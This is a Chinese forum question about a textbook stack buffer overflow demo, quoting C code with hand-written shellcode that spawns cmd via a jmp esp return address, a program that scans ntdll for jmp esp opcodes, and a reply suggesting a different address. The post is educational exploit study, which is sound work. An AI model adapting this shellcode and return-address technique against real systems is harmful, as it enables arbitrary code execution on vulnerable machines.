一个关于q版缓冲区溢出的困惑

一个关于q版缓冲区溢出的疑惑
这本书里有这样一段代码：

C/C++ code

#include <stdio.h>#include <string.h>char name[] = "\x41\x41\x41\x41"  "\x41\x41\x41\x41"  //output[8]"\x41\x41\x41\x41"  //ebp"\x1c\x80\xf5\x77"//0x77f5801c关于这个地址的由来参见下面获取jmp esp地址的代码 "\x55"                   //push ebp "\x8B\xEC"               //mov ebp, esp "\x33\xC0"               //xor eax, eax "\x50"                   //push eax "\x50"                   //push eax "\x50"                   //push eax "\xC6\x45\xF5\x6D"       //mov byte ptr[ebp-0Bh], 6Dh "\xC6\x45\xF6\x73"       //mov byte ptr[ebp-0Ah], 73h "\xC6\x45\xF7\x76"       //mov byte ptr[ebp-09h], 76h "\xC6\x45\xF8\x63"       //mov byte ptr[ebp-08h], 63h "\xC6\x45\xF9\x72"       //mov byte ptr[ebp-07h], 72h "\xC6\x45\xFA\x74"       //mov byte ptr[ebp-06h], 74h "\xC6\x45\xFB\x2E"       //mov byte ptr[ebp-05h], 2Eh "\xC6\x45\xFC\x64"       //mov byte ptr[ebp-04h], 64h "\xC6\x45\xFD\x6C"       //mov byte ptr[ebp-03h], 6Ch "\xC6\x45\xFE\x6C"       //mov byte ptr[ebp-02h], 6Ch "\x8D\x45\xF5"           //lea eax, [ebp-0Bh] "\x50"                   //push eax "\xBA\x7B\x1D\x80\x7C"   //mov edx, 0x7C801D7Bh "\xFF\xD2"               //call edx "\x83\xC4\x0C"           //add esp, 0Ch "\x8B\xEC"               //mov ebp, esp "\x33\xC0"               //xor eax, eax "\x50"                   //push eax "\x50"                   //push eax "\x50"                   //push eax "\xC6\x45\xFC\x63"       //mov byte ptr[ebp-04h], 63h "\xC6\x45\xFD\x6D"       //mov byte ptr[ebp-03h], 6Dh "\xC6\x45\xFE\x64"       //mov byte ptr[ebp-02h], 64h "\x8D\x45\xFC"           //lea eax, [ebp-04h] "\x50"                   //push eax "\xB8\xC7\x93\xBF\x77"   //mov edx, 0x77BF93C7h "\xFF\xD0"               //call edx "\x83\xC4\x10"           //add esp, 10h "\x5D"                   //pop ebp       "\x6A\x00"               //push 0 "\xB8\xc7\x93\xbf\x77"   //mov eax, 0x7c81cb12 "\xFF\xD0"; int i;void main(){char output[8];strcpy(output, name);for(i=0;i<8&&output[i];i++) {printf("\\0x%x",output[i]);}}

这里的shellcode是启动一个cmd
偶用以下一段代码获取jmp esp的地址：

C/C++ code

#include<windows.h>#include<iostream.h>#include<tchar.h>int main(){int nRetCode=0;bool we_load_it=false;HINSTANCE h;TCHAR dllname[]=_T("ntdll");       h=GetModuleHandle(dllname);if(h==NULL)  {h=LoadLibrary(dllname);if(h==NULL) {cout<<"ERROR LOADING DLL:"<<dllname<<endl;return 1;}we_load_it=true;}BYTE* ptr=(BYTE*)h;bool done=false;for(int y=0;!done;y++){try{if(ptr[y]==0xFF&&ptr[y+1]==0xE4){int pos=(int)ptr+y;cout<<"OPCODE found at 0x"<<hex<<pos<<endl;}}catch(...){cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;done=true;}}if(we_load_it)FreeLibrary(h);return nRetCode;}

输出：
OPCODE found at 0x77f5801c
OPCODE found at 0x77f77343
END OFntdllMEMORY REACHED
Press any key to continue
偶在运行第一段代码时，
没有成功启动cmd，请大虾们解答，小弟将十分感谢。

[解决办法]
不知你用的什么系统。。。。出现这种问题几乎都是JMP ESP和系统不符

你将"\x1c\x80\xf5\x77"改成下面我写的这个试试

C/C++ code

"\x12\x45\xfa\x7f" 

 

查看更多 下一篇